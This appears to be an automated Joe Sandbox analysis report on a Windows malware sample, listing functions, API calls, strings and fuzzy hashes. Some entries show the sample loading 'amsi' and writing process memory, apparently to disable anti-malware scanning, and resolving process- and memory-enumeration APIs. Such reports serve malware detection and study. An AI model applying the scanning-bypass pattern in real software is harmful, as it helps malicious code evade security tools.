Opcode Fuzzy Hash: 09cb4b008d6c90edd18e75a7310debff8c7dad6b2d1bf2b6ea9c0da1f80046bd
Instruction Fuzzy Hash: 4A014C7C640218AFEB10EF98D841EAEBBEDEB4D710F518850BD00D7694DA74A9148F61

Function 02856D48 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02856CEC: CLSIDFromProgID.OLE32(00000000,?,00000000,02856D39,?,?,?,00000000), ref: 02856D19

CoCreateInstance.OLE32(?,00000000,00000005,02856E2C,00000000,00000000,02856DAB,?,00000000,02856E1B), ref: 02856D97

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 24f8876d330572c559f7616e3cbdd5f0f52bcdc16ed17bc03f3bf2de5412efec
Instruction ID: 2fd08f2014e768fc407adfe1d391376f911e620f9b1e602a898c152d5623552f
Opcode Fuzzy Hash: 24f8876d330572c559f7616e3cbdd5f0f52bcdc16ed17bc03f3bf2de5412efec
Instruction Fuzzy Hash: 5901F77D608728AFF715DF64DC1296FBBADE749B10BE10835F901E2640FA359D00C865

Function 02841724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 028417D0
Sleep.KERNEL32(0000000A,00000000), ref: 028417E6

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7640db97b83190891a60d56592c7567d38a4049a69f964a7f0626078e9c83061
Instruction ID: 2dc02cb14d263af323e39ee7b0f846205baa2a715f0e5e67937d6bc1dd411aeb
Opcode Fuzzy Hash: 7640db97b83190891a60d56592c7567d38a4049a69f964a7f0626078e9c83061
Instruction Fuzzy Hash: 24B1367EA003949BC719CF28E8C8365BBE1EB94314F18866ED54DCB3C5DB7094A5CB90

Function 02858704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 0285870D

Part of subcall function 028580C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02858148,?,?,00000000,00000000,?,02858061,00000000,KernelBASE,00000000,00000000,02858088), ref: 0285810D
Part of subcall function 028580C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02858113
Part of subcall function 028580C0: GetProcAddress.KERNEL32(?,?), ref: 02858125

Part of subcall function 02857CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02857D6C

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 0285876C

Strings

amsi, xrefs: 02858708
W, xrefs: 02858719
DllGetClassObject, xrefs: 02858732

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 51987e6f8be701a36839f7915221bf68b74c4a55278cb47817d6976c06f1fd9a
Instruction ID: fa3ed2d19b4251b84c1b97ea4ee0405d0a04209a27595b4d9ee38ac4c18df085
Opcode Fuzzy Hash: 51987e6f8be701a36839f7915221bf68b74c4a55278cb47817d6976c06f1fd9a
Instruction Fuzzy Hash: FFF0C85844C391BAE201E67C8C45F4BBFCD4B52224F04CA0DB5E8D62D2D679D1048BB7

Function 02841A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02841FE4), ref: 02841B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02841FE4), ref: 02841B31

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b1594da80cfccb674f5a0b00b92519992f70a26ca0d9a6f1b108386db14ad500
Instruction ID: cfbf5778518d09f946af85368b8061f0c8abd31d05350940ff7a815ac215478b
Opcode Fuzzy Hash: b1594da80cfccb674f5a0b00b92519992f70a26ca0d9a6f1b108386db14ad500
Instruction Fuzzy Hash: 7E51C07DA012448FD715CF6CD988766BBD0AB45318F1885AEE94CCB2C6EF70C495CBA1

Function 0285E72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0285E86A

Strings

Initialize, xrefs: 0285E75A
ScanBuffer, xrefs: 0285E7B3
OpenSession, xrefs: 0285E80C

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 905ee7c21354ddbd8c8276bcdcb2e3bfb3802b944bfa4e2cf55e94c7f5c9d0f5
Instruction ID: ba7237dab580b62d71bbb1b18d7a66a365d3579701395d63d9cbf1fd7801dc6b
Opcode Fuzzy Hash: 905ee7c21354ddbd8c8276bcdcb2e3bfb3802b944bfa4e2cf55e94c7f5c9d0f5
Instruction Fuzzy Hash: 4F41EE3DA1021C9BEB10EBA8DC81B9E77FAEF49710F214425E841E7655DE78AE058F11

Function 0285881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,00000000,02858903), ref: 02858850
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02858903), ref: 02858860
GetProcAddress.KERNEL32(75380000,00000000), ref: 02858879

Part of subcall function 02857CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02857D6C

FreeLibrary.KERNEL32(75380000,00000000,028A2388,Function_000065D8,00000004,028A2398,028A2388,000186A3,00000040,028A239C,75380000,00000000,00000000,00000000,00000000,02858903), ref: 028588E3

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
String ID:
API String ID: 1543721669-0
Opcode ID: 6c189d0d2ac18ba7a4474130e305bf849e9444c00f486f6dfbd41f583bb36df9
Instruction ID: a6810f23c2cb5b171a8fe0782988fb71fcf1d4de2943108c26d3967e20f40c82
Opcode Fuzzy Hash: 6c189d0d2ac18ba7a4474130e305bf849e9444c00f486f6dfbd41f583bb36df9
Instruction Fuzzy Hash: A9118E7CA4031CABF710FBBCCC11A1E7BAAEB46700F4144257E04EB7A4DEB899109B16

Function 0284E2E4 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantClear.OLEAUT32(?), ref: 0284E2F3

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 5be27f8e7e19bdddb7f97ed2a659d6bafc129b935fc5d2ca92871270816a055b
Instruction ID: d166de27976c9e591bd5c83aac2ffb0d74cc8d98b3d5a63d92fee7bdd57f61bd
Opcode Fuzzy Hash: 5be27f8e7e19bdddb7f97ed2a659d6bafc129b935fc5d2ca92871270816a055b
Instruction Fuzzy Hash: 5EF0623C70921CC7DB367B3C8984669679A7F4471D75C5476B80ADB205CF249C05CB63

Function 0285705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 0285735A

Strings

H, xrefs: 02857111

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: aa64ff81d18bc59e96d5acb9b514b64f253319f62e6436bb0f8b23b07f1db74e
Instruction ID: 8f205081cea5fb1bace76f69607664a8b8e7cef359195f11ff3c6e2e87500ae0
Opcode Fuzzy Hash: aa64ff81d18bc59e96d5acb9b514b64f253319f62e6436bb0f8b23b07f1db74e
Instruction Fuzzy Hash: 1CB1C078A016189FDB14CF99D980AADFBF6FF49314F648169E80AEB364D730A845CF50

Function 0284E37C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 0284E3BC

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 384f48b63f6c7abfb00c4ec8576c7358671a2867bc2708c5b905f8cfe7f23507
Instruction ID: 6ebd5aa8ba869757b71ded20f18f0ba7001d20a7e7ec14862c10a040d20c88e5
Opcode Fuzzy Hash: 384f48b63f6c7abfb00c4ec8576c7358671a2867bc2708c5b905f8cfe7f23507
Instruction Fuzzy Hash: 4D31507D60061CAFDB11DFACC884AAA77A8FB0C708F8845A1E909D3640DB34D950CB62

Function 02856CEC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02856D39,?,?,?,00000000), ref: 02856D19

Part of subcall function 02844C0C: SysFreeString.OLEAUT32(0285ED84), ref: 02844C1A

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 5087ba58ea1c9190a7b6f558db69c0a701099273c52a6be6fddd24f184811dc4
Instruction ID: 1278a9ea28dada73efc882a44e328bc4237826926ab77ccf946a32265f908063
Opcode Fuzzy Hash: 5087ba58ea1c9190a7b6f558db69c0a701099273c52a6be6fddd24f184811dc4
Instruction Fuzzy Hash: E0E06D7D604368BFF711EBA9CC52A5A77ADDB89B10B9108B1A800D7600EA75BE008866

Function 02845814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02840000,?,00000105), ref: 02845832

Part of subcall function 02845A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02840000,0286E790), ref: 02845A94
Part of subcall function 02845A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02840000,0286E790), ref: 02845AB2
Part of subcall function 02845A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02840000,0286E790), ref: 02845AD0
Part of subcall function 02845A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02845AEE
Part of subcall function 02845A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02845B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02845B37
Part of subcall function 02845A78: RegQueryValueExA.ADVAPI32(?,02845CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02845B7D,?,80000001), ref: 02845B55
Part of subcall function 02845A78: RegCloseKey.ADVAPI32(?,02845B84,00000000,?,?,00000000,02845B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02845B77

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: 14e444ed7bb87888b056900b454d4173112a3f5da1ddce64108a1a5b7448e489
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: CAE06D79A002188BCB10DE5CC8C0A4B37D8AB09750F400565EC58DF34AEB74E9608BD1

Function 02847E10 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0285FD00,ScanString,028A237C,0286B40C,OpenSession,028A237C,0286B40C,ScanString,028A237C,0286B40C,UacScan,028A237C,0286B40C,UacInitialize), ref: 02847E1B

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction ID: fa62294ca95daa0ce887f5b9f16be9fcf88b110a87ee3e591fa93e3b9f1875ab
Opcode Fuzzy Hash: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction Fuzzy Hash: 90C08CEC31220A0B1A54A1FC1CC412A428809051393A42F21E23CDA2E2EF21C8232421

Function 02844C48 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(0285ED84), ref: 02844C1A
SysReAllocStringLen.OLEAUT32(0286C2B4,0285ED84,000000B4), ref: 02844C62

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction ID: 992a72e41bdb70e8ec8df5579188c3a9ebb617a035e10c67d96d9b86f93f34e2
Opcode Fuzzy Hash: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction Fuzzy Hash: 0DD012BC50410D5FBA2C99D94544B36626A99D030A74CC659980ACA241FF319540CA31

Function 0286BF84 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,0286BF78,00000000,00000001), ref: 0286BF94

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 22ff24b22d08d2e8fc0eb83f5ef63db918273aceb48ce2c93082b58948fe3e09
Instruction ID: 13b082c0cf8734e72fa4723ceb32459721d90ea37e3e3bd2dd17b83bcf2defc7
Opcode Fuzzy Hash: 22ff24b22d08d2e8fc0eb83f5ef63db918273aceb48ce2c93082b58948fe3e09
Instruction Fuzzy Hash: 16C048E87893407EFA1097AE2CC2F37118DD704B15F600462BB00EA2D1D5E259504A20

Function 028415CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02841A03), ref: 028415E2

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 79cd1e680c05e8f9d8f57dec7486c5f93c8c040e4b9da2c56e803f683b3dfb03
Instruction ID: c2568638c47f29a24e3414af2f8e90da44653d31cd9c4b7862a76aa0460c97d9
Opcode Fuzzy Hash: 79cd1e680c05e8f9d8f57dec7486c5f93c8c040e4b9da2c56e803f683b3dfb03
Instruction Fuzzy Hash: A8F06DF8B413406FDB09CF7999843417BD2EB89344F188579E70ADB7C8EB7284118B00

Function 02841682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 028416A4

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3af4aaade2d757745f4fcc3c577d2a12301a4c0dd26fcb28c101e8940dac7f96
Instruction ID: 04f163276812d0acc7d306348cb905fd3a8c1bf56a0f5ec8ca8b21134d118e20
Opcode Fuzzy Hash: 3af4aaade2d757745f4fcc3c577d2a12301a4c0dd26fcb28c101e8940dac7f96
Instruction Fuzzy Hash: B1F090BEB446996BE7109E5A9C88792BBA4FB00355F054139EA0CD7384DB70A850CB94

Function 028416E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02841FE4), ref: 02841704

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: da8d427602b5fa85a47669f57f4d8db9e56fff91cc3d5b4f38d1a549179dfde8
Instruction ID: 3592e79acd99295c0d508f553e265953b71954f94249768bfab69a2f27d0a2af
Opcode Fuzzy Hash: da8d427602b5fa85a47669f57f4d8db9e56fff91cc3d5b4f38d1a549179dfde8
Instruction Fuzzy Hash: B4E0867D3003156FE7105A7D5D88B12ABD8EB54654F144475F509DB286DB60E8508B64

Non-executed Functions

Function 0285A954 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,0285ABDB,?,?,0285AC6D,00000000,0285AD49), ref: 0285A968
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0285A980
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 0285A992
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 0285A9A4
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0285A9B6
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 0285A9C8
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 0285A9DA
GetProcAddress.KERNEL32(00000000,Process32First), ref: 0285A9EC
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0285A9FE
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 0285AA10
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 0285AA22
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 0285AA34
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0285AA46
GetProcAddress.KERNEL32(00000000,Module32First), ref: 0285AA58
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0285AA6A
